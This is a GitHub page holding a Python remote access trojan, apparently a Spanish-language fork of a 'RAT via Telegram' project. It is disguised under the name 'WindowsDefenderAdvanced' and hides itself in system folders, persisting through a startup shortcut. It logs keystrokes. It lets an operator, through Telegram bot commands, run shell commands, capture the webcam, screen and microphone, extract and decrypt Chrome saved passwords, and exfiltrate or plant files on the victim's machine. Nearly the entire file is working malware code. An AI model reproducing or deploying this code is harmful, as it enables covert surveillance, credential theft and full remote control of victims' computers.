forked from mvrozanti/RAT-via-Telegram
-
Notifications
You must be signed in to change notification settings - Fork 0
/
WindowsDefenderAdvanced.py
842 lines (824 loc) · 42.8 KB
/
WindowsDefenderAdvanced.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
# v3.0
import os, os.path, platform, ctypes
os.environ["PBR_VERSION"]='5.0.0'
import logging
from consoleTools import consoleDisplay as cd
from PIL import ImageGrab # /capture_pc
from shutil import copyfile, copyfileobj, rmtree, move # /ls, /pwd, /cd, /copy, /mv
from sys import argv, path, stdout # console output
from json import loads # reading json from ipinfo.io
from winshell import startup # persistence
from tendo import singleton # this makes the application exit if there's another instance already running
from win32com.client import Dispatch # WScript.Shell
from time import strftime, sleep
from subprocess import Popen, PIPE # /cmd_exec
from getpass import getuser # Obtiene el nombre del usuario
import psutil # updating
from pynput.keyboard import Key, Listener
import shutil
import win32clipboard # register clipboard
import sqlite3 # get chrome passwords
import win32crypt # get chrome passwords
import base64 # /encrypt_all
import datetime # /schedule
import time
import threading # /proxy, /schedule
import proxy
import pyaudio, wave # /hear
import telepot, requests # telepot => telegram, requests => file download
from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
import pythoncom, pyHook # keylogger
import socket # internal IP
import getpass # get username
import collections
import urllib # wallpaper
import cv2 # webcam
import yagmail
from datetime import datetime
from ctypes import * # fixing pyinstaller - we need to import all the ctypes to get api-ms-win-crt-*, you will also need https://www.microsoft.com/en-US/download/details.aspx?id=48145
try: # Crea dirección
os.makedirs('C:\\Users\\Public\\Security\\Windows Defender')
except:
pass
nameKey = "WindowsDefenderAdvanced.exe"
filePath = "C:\\Users\\Public\\Security\\Windows Defender\\"+ nameKey
try:
with open(filePath, 'r') as f: # Verifica si el keylogger se encuentra oculto en el sistema
print("El keylogger ya se encuentra en la carpeta oculta")
except :
print("El Keylogger no se encuentra en el sistema, y tratará de copiarlo")
try:
shutil.copy(nameKey , filePath) # Intenta ocultar el keylogger en una carpeta
print("El keylogger se escondió exitosamente en el sistema")
except:
print("No se puedo esconder el Keylogger en el sistema")
try: # Intenta crear la dirección
os.makedirs('logs')
except:
pass
cd.log('i','Starting')
me = singleton.SingleInstance()
token = 'xx:xx' # <== Aquí debes ingresar el codigo único de tu Bot
if 'RVT_TOKEN' in os.environ: # it can also be set as an environment variable
token = os.environ['RVT_TOKEN']
app_name = 'Microsoft' # Nombre de la carpeta en dentro delRoaming
known_ids = [''] # Ejemplo => 991466973 <= Ejemplo # AGREGUE SU chat_id EN FORMATO DE CADENA A LA LISTA A CONTINUACIÓN SI DESEA QUE SU BOTELO SOLO RESPONDA A UNA PERSONA
appdata_roaming_folder = os.environ['APPDATA']
hide_folder = appdata_roaming_folder + '\\' + app_name #Carpeta escondite
compiled_name = app_name + '.exe' # ruta donde se compilará
target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
if not os.path.exists(hide_folder):
os.makedirs(hide_folder)
hide_compiled = hide_folder + '\\' + compiled_name
copyfile(argv[0], hide_compiled)
shell = Dispatch('WScript.Shell')
shortcut = shell.CreateShortCut(target_shortcut)
shortcut.Targetpath = hide_compiled
shortcut.WorkingDirectory = hide_folder
shortcut.save()
if not os.path.exists('logs/{}-log.txt'.format(str(datetime.now().strftime('%Y-%m-%d')))):
f=open('logs/{}-log.txt'.format(str(datetime.now().strftime('%Y-%m-%d'))))
f.close()
destroy = False
user = os.environ.get("USERNAME") # Windows username to append keylogs
schedule = {}
log_file = hide_folder + '\\.user'
keylogs_file = hide_folder + '\\.keylogs'
with open(log_file, "a") as writing:
writing.write("-------------------------------------------------\n")
writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n\n")
logging.basicConfig(filename=log_file,level=logging.DEBUG)
def runStackedSchedule(everyNSeconds): #Ejecuta en un horario predeterminado
for k in schedule.keys():
if k < datetime.datetime.now():
handle(schedule[k])
del schedule[k]
threading.Timer(everyNSeconds, runStackedSchedule).start()
def internalIP():
internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
internal_ip.connect(('google.com', 0))
return internal_ip.getsockname()[0]
def checkchat_id(chat_id):
return len(known_ids) == 0 or str(chat_id) in known_ids
def split_string(n, st):
lst = ['']
for i in str(st):
l = len(lst) - 1
if len(lst[l]) < n:
lst[l] += i
else:
lst += [i]
return lst
def send_safe_message(bot, chat_id, message):
while(True):
try:
cd.log('n', 'Message sent:\n{}'.format(
bot.sendMessage(chat_id, message)), True)
break
except:
pass
def handle(msg):
chat_id = msg['chat']['id']
if checkchat_id(chat_id):
response = ''
if 'text' in msg:
cd.log('n', '\n\t\tAdministrador con ID: ' + str(chat_id) + '\n\n Uso el comando:\t\t' + msg['text'] + '\n\n', True)
command = msg['text']
try:
if command == '/redInfo': # Información de la RED
response = ''
bot.sendChatAction(chat_id, 'typing')
lines = os.popen('arp -a -N ' + internalIP())
for line in lines:
line.replace('\n\n', '\n')
response += line
elif command == '/webcam': # Captura de Web Cam
bot.sendChatAction(chat_id, 'typing')
camera = cv2.VideoCapture(0)
while True:
return_value, image = camera.read()
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
cv2.imshow('image', gray)
if cv2.waitKey(1) & 0xFF == ord('s'):
cv2.imwrite('webcam.jpg', image)
break
camera.release()
cv2.destroyAllWindows()
bot.sendChatAction(chat_id, 'upload_photo')
bot.sendDocument(chat_id, open('webcam.jpg', 'rb'))
os.remove('webcam.jpg')
elif command == '/captura': # Captura de pantalla
bot.sendChatAction(chat_id, 'typing')
screenshot = ImageGrab.grab()
screenshot.save('screenshot.jpg')
bot.sendChatAction(chat_id, 'upload_photo')
bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
os.remove('screenshot.jpg')
elif command.startswith('/cmd'): # CMD
try:
cd.log('w', 'Command exec prep')
process = Popen(['cmd'], stdin=PIPE, stdout=PIPE)
command = command.replace('/cmd', '')
cd.log('w', 'Executing the command '+command)
if len(command) > 1:
process.stdin.write(bytes(command + '\n'))
process.stdin.close()
lines = process.stdout.readlines()
for l in lines:
response += l
else:
response = '/cmd dir'
except:
response = 'Vuelve a escribir '
elif command.startswith('/ir'): # Navegar entre carpetas
command = command.replace('/ir ', '')
try:
os.chdir(command)
response = os.getcwd() + '>'
except:
response = 'No subfolder matching ' + command
elif command == '/cmd_dns': # Informacion DNS
bot.sendChatAction(chat_id, 'typing')
lines = os.popen('ipconfig /displaydns')
for line in lines:
line.replace('\n\n', '\n')
response += line
elif command == '/cmd_ipconfig': # Informacion IPConfig
bot.sendChatAction(chat_id, 'typing')
lines = os.popen('ipconfig /all')
for line in lines:
line.replace('\n\n', '\n')
response += line
elif command.startswith('/descargar'): # Descargar un archivo
bot.sendChatAction(chat_id, 'typing')
path_file = command.replace('/descargar', '')
path_file = path_file[1:]
if path_file == '':
response = '/descargar C:/path/to/file.name or /descargarfile.name'
else:
bot.sendChatAction(chat_id, 'upload_document')
try:
bot.sendDocument(chat_id, open(path_file, 'rb'))
except:
try:
bot.sendDocument(chat_id, open(
hide_folder + '\\' + path_file))
response = 'Found in hide_folder: ' + hide_folder
except:
response = 'Could not find ' + path_file
elif command.startswith('/copiar'): # Copia archivos
command = command.replace('/copiar', '')
command = command.strip()
if len(command) > 0:
try:
file1 = command.split('"')[1]
file2 = command.split('"')[3]
copyfile(file1, file2)
response = 'Archivos copiados exitosamente.'
except Exception as e:
response = 'Error: \n' + str(e)
else:
response = 'Usage: \n/copiar "C:/Users/DonaldTrump/Desktop/porn.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
elif command.endswith('block_key'): # Bloquear teclado
response = 'Ésta funcionalidad, está en proceso'
elif command.endswith('block_mouse'): # Bloquear Mouse
response = 'Ésta funcionalidad, está en proceso'
elif command.endswith('desblock_mouse'): # Desbloquear Mouse
response = 'Ésta funcionalidad, está en proceso'
elif command.endswith('desblock_mouse'):
response = 'Ésta funcionalidad, está en proceso'
elif command == '/get_chrome': # Obtiene contraseñas de Chrome
con = sqlite3.connect(os.path.expanduser(
'~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
cursor.execute(
"SELECT origin_url,username_value,password_value from logins;")
for users in cursor.fetchall():
response += 'Website: ' + users[0] + '\n'
response += 'Username: ' + users[1] + '\n'
response += 'Password: ' + \
str(win32crypt.CryptUnprotectData(
users[2], None, None, None, 0)) + '\n\n'
elif command == '/get_wifi':
pass
elif command == '/get_key':
try:
bot.sendChatAction(chat_id, 'upload_document')
bot.sendDocument(chat_id, open(keylogs_file, "rb"))
except:
response = 'No se pudo obtener el registro de Teclas.'
pass
elif command == '/get_desktop':
try:
r= "C:\\Users\\"+str(getuser())+"\\Desktop\\"
os.chdir(r)
response = os.getcwd() + '>'
except:
response = "Hubo un error al acceder a la ruta"
elif command == '/get_documents':
"""
r= "C:\\Users\\"+str(getuser())+"\\Documents\\"
os.chdir(r)
response = os.getcwd() + '>'
try:
r= "O:\\OneDrive - xKx\\SoftwareProyectGit\\RAT-via-Telegram\\tests\\"
# F:\esto\file1.txt
#bot.sendChatAction(chat_id, 'typing')
files = []
files = os.listdir(r)
human_readable = ''
for file in files:
human_readable += file + '\n'
#bot.sendDocument(chat_id, open(file, "rb"))
#bot.sendDocument(chat_id, open( hide_folder + '\\' + path_file))
try:
bot.sendChatAction(chat_id, 'upload_document')
bot.sendDocument(chat_id, open("\\"+file))
response += "se envió"+file
except:
response += "no se envió el archivo: "+file
response += human_readable
except:
response = ' Hubo un error, vuelva a intentarlo denuevo'
"""
pass
elif command == '/get_download':
r= "C:\\Users\\"+str(getuser())+"\\Downloads\\"
os.chdir(r)
response = os.getcwd() + '>'
elif command == '/get_videos':
r= "C:\\Users\\"+str(getuser())+"\\Videos\\"
os.chdir(r)
response = os.getcwd() + '>'
elif command == '/get_music':
r= "C:\\Users\\"+str(getuser())+"\\Music\\"
os.chdir(r)
response = os.getcwd() + '>'
elif command == '/get_pictures':
r= "C:\\Users\\"+str(getuser())+"\\Pictures\\"
os.chdir(r)
response = os.getcwd() + '>'
elif command == '/eliminar_key':
command = command.replace('/eliminar_key', '')
path_file = command.strip()
try:
os.remove("C:\\Users\\"+str(getuser())+"\\AppData\\Roaming\\Microsoft\\.keylogs")
response = 'El archivo ".keylogs" se eliminó correctamente'
except:
response = 'No se pudo eliminar el archivo ".keylogs" '
elif command.startswith('/eliminar'): # Elimina carpeta o archivo
command = command.replace('/eliminar', '')
path_file = command.strip()
try:
os.remove(path_file)
response = 'El archivo se eliminó correctamente'
except:
try:
os.rmdir(path_file)
response = 'La carpeta se eliminó correctamente'
except:
try:
shutil.rmtree(path_file)
response = 'Succesfully removed folder and it\'s files'
except:
response = 'El archivo no existe'
elif command.startswith('/audio'): # Graba Audio
try:
SECONDS = -1
try:
SECONDS = int(command.replace('/hear', '').strip())
except:
SECONDS = 5
CHANNELS = 2
CHUNK = 1024
FORMAT = pyaudio.paInt16
RATE = 44100
audio = pyaudio.PyAudio()
bot.sendChatAction(chat_id, 'typing')
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
audio.terminate()
wav_path = hide_folder + '\\mouthlogs.wav'
waveFile = wave.open(wav_path, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
bot.sendChatAction(chat_id, 'upload_document')
except OSError:
cd.log(
'e', 'Unable to listen in - there is probably no input device.')
response = 'unable to listen in - there is probably no input device'
elif command == '/ip_info': # Información del IP
try:
bot.sendChatAction(chat_id, 'find_location')
info = requests.get('http://ipinfo.io').text # json format
location = (loads(info)['loc']).split(',')
bot.sendLocation(chat_id, location[0], location[1])
import string
import re
response = 'External IP: '
response += "".join(
filter(lambda char: char in string.printable, info))
response = re.sub('[:,{}\t\"]', '', response)
response += '\n' + 'Internal IP: ' + '\n\t' + internalIP()
except:
response = 'Hubo un error'
elif command.startswith('/listar'): # Muestra lista de archivos y carpetas
try:
bot.sendChatAction(chat_id, 'typing')
command = command.replace('/listar', '')
command = command.strip()
files = []
if len(command) > 0:
files = os.listdir(command)
else:
files = os.listdir(os.getcwd())
human_readable = ''
for file in files:
human_readable += file + '\n'
response = human_readable
except:
response = ' Hubo un error, vuelva a intentarlo denuevo'
elif command.startswith('/mensaje'): # Muestra un mensaje
message = command.replace('/mensaje', '')
if message == '':
response = '/mensaje <Escriba su mensaje>'
else:
ctypes.windll.user32.MessageBoxW(
0, message, u'Information', 0x40)
response = 'MsgBox displayed'
elif command.startswith('/mover'): # Mueve archivos
command = command.replace('/mover', '')
if len(command) > 0:
try:
file1 = command.split('"')[1]
file2 = command.split('"')[3]
move(file1, file2)
response = 'El archivo se movió exitosamente.'
except Exception as e:
response = 'Error: \n' + str(e)
else:
response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/porn.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
elif command == '/pc_info': # Información de la Computadora
bot.sendChatAction(chat_id, 'typing')
info = ''
for pc_info in platform.uname():
info += '\n' + pc_info
info += '\n' + 'Username: ' + getpass.getuser()
response = info
elif command == '/test': # Verifica conexión
response = platform.uname()[1] + ': I\'Se encuentra en linea!!'
elif command.startswith('/web'): # Abre el navegador con una URL
command = command.replace('/web', '')
command = command.strip()
if len(command) > 0:
systemCommand = 'start \"\" \"'
systemCommand += command
systemCommand += '\"'
if os.system(systemCommand) == 0:
response = 'La pagina web se abrió con exito'
else:
response = 'Hubo un error al abrir la pagina web'
else:
response = '/web URL'
elif command == '/proxy': # Abre puertos
threading.Thread(target=proxy.main).start()
info = requests.get('http://ipinfo.io').text # json format
ip = (loads(info)['ip'])
response = 'Proxy succesfully setup on ' + ip + ':8081'
elif command == '/this': # Carpeta donde se encuentra RAT
response = os.getcwd()
elif command.startswith('/python_exec'):
command = command.replace('/python_exec', '').strip()
if len(command) == 0:
response = 'Usage: /python_exec print(\'printing\')'
else:
cd.log('w', 'Executing python command')
if response == '':
response = 'Expression executed. No return or malformed expression.'
elif command == '/reiniciar': # Reiniciará
bot.sendChatAction(chat_id, 'typing')
command = os.popen('shutdown /r /f /t 0')
response = 'Computer will be restarted NOW.'
elif command.startswith('/ejecutar'): # Ejecuta un archivo
bot.sendChatAction(chat_id, 'typing')
path_file = command.replace('/ejecutar', '')
path_file = path_file[1:]
if path_file == '':
response = '/run_file C:/path/to/file'
else:
try:
os.startfile(path_file)
response = 'El archivo\n\n' + path_file + '\n\n Se ejecutó correctamente.'
except:
try:
os.startfile(hide_folder + '\\' + path_file)
response = 'El archivo:\n ' + path_file + '\n\n Se ejecutó en hide_folder'
except:
response = 'No se encuentra el archivo'
elif command.startswith('/calendario'): # Cambia la fecha del calendarios
command = command.replace('/calendario', '')
if command == '':
response = '/calendario 2017 12 24 23 59 /msg_box happy christmas'
else:
scheduleDateTimeStr = command[1:command.index('/') - 1]
scheduleDateTime = datetime.datetime.strptime(
scheduleDateTimeStr, '%Y %m %d %H %M')
scheduleMessage = command[command.index('/'):]
schedule[scheduleDateTime] = {
'text': scheduleMessage, 'chat': {'id': chat_id}}
response = 'Schedule set: ' + scheduleMessage
runStackedSchedule(10)
elif command == '/auto_destruye': # Auto destruye Rat
bot.sendChatAction(chat_id, 'typing')
global destroy
destroy = True
response = 'You sure? Type \'/destroy\' to proceed.'
elif command == '/apagar': # Apaga la computadora
bot.sendChatAction(chat_id, 'typing')
command = os.popen('apagar /s /f /t 0')
response = 'La computadora se apagará AHORA.'
elif command == '/destruir' and destroy == True: # Destruye el RAT
bot.sendChatAction(chat_id, 'typing')
if os.path.exists(hide_folder):
rmtree(hide_folder)
if os.path.isfile(target_shortcut):
os.remove(target_shortcut)
os._exit(0)
elif command == '/tareas': # Ver lista de tareas
lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"')
response2 = ''
for line in lines:
line.replace('\n\n', '\n')
if len(line) > 2000:
response2 += line
else:
response += line
response += '\n' + response2
elif command.startswith('/enviar'): # Envia archivo de PC Maestro a PC victima
command = command.replace('/enviar', '')
import winsound
winsound.Beep(440, 300)
if command == '':
response = '/enviar <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'
else:
targets = command[:command.index('/')]
if platform.uname()[1] in targets:
command = command.replace(targets, '')
msg = {'text': command, 'chat': {'id': chat_id}}
handle(msg)
elif command == '/actualizar': # Actualiza F5 RAT
proc_name = app_name + '.exe'
if not os.path.exists(hide_folder + '\\updated.exe'):
response = 'Send updated.exe first.'
else:
for proc in psutil.process_iter():
# check whether the process name matches
if proc.name() == proc_name:
proc.kill()
os.rename(hide_folder + '\\' + proc_name,
hide_folder + '\\' + proc_name + '.bak')
os.rename(hide_folder + '\\updated.exe',
hide_folder + '\\' + proc_name)
os.system(hide_folder + '\\' + proc_name)
sys.exit()
elif command.startswith('/fondo'): # Cambiar de fondo de pantalla
command = command.replace('/fondo', '')
command = command.strip()
if len(command) == 0:
response = 'Usage: /fondo C:/Users/User/Desktop/porn.jpg'
elif command.startswith('http'):
image = command.rsplit('/', 1)[1]
image = hide_folder + '/' + image
urllib.urlretrieve(command, image)
ctypes.windll.user32.SystemParametersInfoW(
20, 0, image, 3)
else:
ctypes.windll.user32.SystemParametersInfoW(
20, 0, command.replace('/', '//'), 3)
response = 'Se cambió el fondo de pantalla.'
elif command == '/help':
# functionalities dictionary: command:arguments
functionalities = {'/red_info': ' => Información de la Red',\
'/webcam': ' => Toma foto a la WebCam',\
'/captura': ' => ',\
#'/cmd': ' => Ejecuta desde Consola ',\
'/ir': ' => Navega entre carpetas',\
'/eliminar': ' => Elimina archivo o carpeta',\
'/eliminar_key':' => Elimina el archivo Keylogger',\
'/cmd_dns': ' => Muestra información DNS',\
#'/cmd_ipconfig':' => Muestra información IP Config',\
'/descargar': ' => Descarga un archivo',\
'/copiar': ' => Copiar archivos, de la misma PC',\
'/mover': ' => Mueve archivos',\
#'/block_key': ' => Bloquea el Teclado',\
#'/block_mouse': ' => Bloquea el movimiento del Mouse',\
#'/desblock_mouse': ' => Desbloquear movimiento del mouse',\
'/get_chrome': ' => Obtener contraseñas de chrome',\
#'/get_wifi': ' => Obtener contraseñas de Wifi',\
'/get_key':' => Obtiene el registro de teclas',\
#'/get_documents':' => Obtiene Documentos del Usuario',\
#'/get_music':' => Obtiene Musica del Usuario',\
#'/get_videos':' => Obtiene Videos del Usuario',\
#'/get_pictures':' => Obtiene Photos del Usuario',\
#'/get_download':' => Obtiene Descargas del Usuario',\
#'/get_desktop':' => Obtiene Escritorio del Usuario',\
'/audio': ' => [tiempo en segundos, default=5s]',\
'/ip_info': ' => Obtener información de IP',\
'/test': ' => Verifica si la victima está en linea',\
'/web': ' => Abre en el navegador un LINK',\
'/proxy': ' => Abre un proxy',\
'/this': ' => Muestra directorio actual RAT',\
'/listar': ' => Muestra directorio actual RAT',\
'/reiniciar': ' => Reinicia la computadora',\
'/ejecutar': ' => Ejecuta un archivo *EXE',\
#'/calendario': ' => Modifica el calendario',\
#'/auto_destruye': ' => Se destruye RAT',\
'/apagar': ' => Apaga la computadora',\
#'/destruir': ' => Destruye el RAT',\
'/tareas': ' => Lista de Tareas',\
'/enviar': ' => Envia Archivos a la PC de la victima',\
#'/actualizar': ' => Actualiza la carpeta',\
'/fondo': ' => Cambia de fondo de pantalla'}
response = "\n".join(command + ' ' + description for command, description in sorted(functionalities.items()))
else: # redirect to /help
cd.log('w', 'BOT MISUSE: Invalid command')
msg = {'text': '/help', 'chat': {'id': chat_id}}
handle(msg)
except Exception as e:
cd.log('e', 'BOT MISUSE: Unknown error running command or function.')
cd.log('z', 'Details from previous error'+str(e))
cd.log('n', 'Command {} ran'.format(command))
else: # Upload a file to target
file_name = ''
file_id = None
if 'document' in msg:
file_name = msg['document']['file_name']
file_id = msg['document']['file_id']
elif 'photo' in msg:
file_time = int(time.time())
file_id = msg['photo'][1]['file_id']
file_name = file_id + '.jpg'
file_path = bot.getFile(file_id=file_id)['file_path']
link = 'https://api.telegram.org/file/bot' + \
str(token) + '/' + file_path
file = (requests.get(link, stream=True)).raw
with open(hide_folder + '\\' + file_name, 'wb') as out_file:
copyfileobj(file, out_file)
response = 'Archivo guardado como: ' + file_name
if response != '':
responses = split_string(4096, response)
for resp in responses:
send_safe_message(bot, chat_id, resp)
def KeyConMin(argument): # Caracteres Comunes // Optimizados
switcher = {
# Vocales Miniscula
"'a'": "a",
"'e'": "e",
"'i'": "i",
"'o'": "o",
"'u'": "u",
# Letras Minusculas
"'b'": "b",
"'c'": "c",
"'d'": "d",
"'f'": "f",
"'g'": "g",
"'h'": "h",
"'j'": "j",
"'J'": "J",
"'k'": "k",
"'l'": "l",
"'m'": "m",
"'n'": "n",
"'ñ'": "ñ",
"'p'": "p",
"'q'": "q",
"'r'": "r",
"'s'": "s",
"'t'": "t",
"'v'": "v",
"'w'": "w",
"'x'": "x",
"'y'": "y",
"'z'": "z",
# Caracteres
"','": ",", # ,
"'.'": ".", # .
"'_'": "_", # _
"'-'": "-", # -
"':'": ":", #
# Vocales Mayúsculas
"'A'": "A",
"'E'": "E",
"'I'": "I",
"'O'": "O",
"'U'": "U",
# Letras Mayúsculas
"'B'": "B",
"'C'": "C",
"'D'": "D",
"'F'": "F",
"'G'": "G",
"'H'": "H",
"'K'": "K",
"'L'": "L",
"'M'": "M",
"'N'": "N",
"'Ñ'": "Ñ",
"'P'": "P",
"'Q'": "Q",
"'R'": "R",
"'S'": "S",
"'T'": "T",
"'V'": "V",
"'W'": "W",
"'X'": "X",
"'Y'": "Y",
"'Z'": "Z",
# Números Standard
"'1'": "1",
"'2'": "2",
"'3'": "3",
"'4'": "4",
"'5'": "5",
"'6'": "6",
"'7'": "7",
"'8'": "8",
"'9'": "9",
"'0'": "0",
# Caracteres Especiales
"'@'": "@", # @
"'#'": "#", # #
"'*'": "*", #
"'('": "(", # (
"')'": ")", # )
"'?'": "?", # ?
"'='": "=", # =
"'+'": "+", # +
"'!'": "!", # !
"'}'": "}", # }
"'{'": "{", # {}
"'´'": "´", # ´
"'|'": "|", # |
"'°'": "°", # °
"'^'": "¬", # ^
"';'": ";", #
"'$'": "$", # $
"'%'": "%", # %
"'&'": "&", # &
"'>'": ">", #
"'<'": "<", #
"'/'": "/", # /
"'¿'": "¿", # ¿
"'¡'": "¡", # ¡
"'~'": "~" #
}
return switcher.get(argument, "")
def KeyConMax(argument): # Botones, comunes // Optimizados
switcher = {
"Key.space": " ", # Espacio
"Key.backspace": "«", # Borrar
"Key.enter": "\r\n", # Salto de linea
"Key.tab": " ", # Tabulación
"Key.delete":" «×» ", # Suprimir
# Números
"<96>": "0", # 0
"<97>": "1", # 1
"<98>": "2", # 2
"<99>": "3", # 3
"<100>": "4", # 4
"<101>": "5", # 5
"<102>": "6", # 6
"<103>": "7", # 7
"<104>": "8", # 8
"<105>": "9", # 9
# Números Númeral
"None<96>": "0", # 0
"None<97>": "1", # 1
"None<98>": "2", # 2
"None<99>": "3", # 3
"None<100>": "4", # 4
"None<101>": "5", # 5
"None<102>": "6", # 6
"None<103>": "7", # 7
"None<104>": "8", # 8
"None<105>": "9", # 9
# Teclas raras 2
"['^']": "^",
"['`']": "`", #
"['¨']": "¨", #
"['´']": "´", #
"<110>": ".", #
"None<110>": ".", #
"Key.alt_l": " [Alt L] ", #
"Key.alt_r": " [Alt R] ",
#"Key.shift_r": " [Shift R] ",
#"Key.shift": " [Shift L] ",
"Key.ctrl_r": " [Ctrl R] ", #
"Key.ctrl_l": " [Ctrl L] ", #
"Key.right" : " [Right] ", #
"Key.left" : " [Left] ", #
"Key.up" : " [Up]", #
"Key.down" : " [Down] ", #
#"'\x16'" : " [Pegó] ",
#"'\x18'" : " [Cortar] ",
#"'\x03'" : " [Copiar] ",
"Key.caps_lock" : " [Mayus lock] ",
#"Key.media_previous" : " ♫ ", #
#"Key.media_next" : " ♫→ ", #
#"Key.media_play_pause" : " ■ ♫ ■ ",#
"Key.cmd" : " [Win] " #
}
return switcher.get(argument, "")
def Klogger(): # Obtiene registro de teclas y guarda en un archivo .keylogs
try: # Intenta crear el archivo
log = os.environ.get(
'pylogger_file',
os.path.expanduser('C:\\Users\\'+str(getuser())+'\\AppData\\Roaming\\Microsoft\\.keylogs')
)
T = datetime.datetime.now()
getTime = "Fecha: ["+ T.strftime("%A") + " " + T.strftime("%d") + " de " + T.strftime("%B") + "]\nHora: [" + T.strftime("%I")+ ":"+ T.strftime("%M")+ " "+ T.strftime("%p")+ " con " + T.strftime("%S") +" Segundos]\n"
with open (log, "a") as f:
f.write("\n--------------------------------------------\nUserName: ["+str(getuser()) +"]\n"+ str(getTime)+"--------------------------------------------\n\n")
except: # Si no puede crear el archivo, crea el directorio faltante
pass
def on_press(key):
w = ""
with open(log, "a") as f:
if (len(str(key))) <= 3:
print(KeyConMin(str(key)))
f.write(KeyConMin(str(key)))
else:
print(KeyConMax(str(key)))
f.write(KeyConMax(str(key)))
with Listener(on_press=on_press) as listener: # Escucha pulsaciones de teclas
listener.join()
cd.log('s', 'Configuración Terminada')
cd.log('i', 'Iniciando')
bot = telepot.Bot(token)
bot.message_loop(handle)
if len(known_ids) > 0:
helloWorld = platform.uname()[1] + ": ==>> Está en linea..."
for known_id in known_ids:
send_safe_message(bot, known_id, helloWorld)
print(helloWorld)
cd.log('s', 'Iniciando Hilo de Keylogger')
cd.log('i', 'Keylogger iniciado')
p1 = threading.Thread(target=Klogger) # Keylogger
p1.start() # Inicia hilo keylogger
cd.log('s', 'Todo se ejecutó con exito\n')
cd.log('i', 'Esperando comandos ==>> ' + platform.uname()[1] + '...\n\n')
pythoncom.PumpMessages() # Escucha los comandos
p1.join()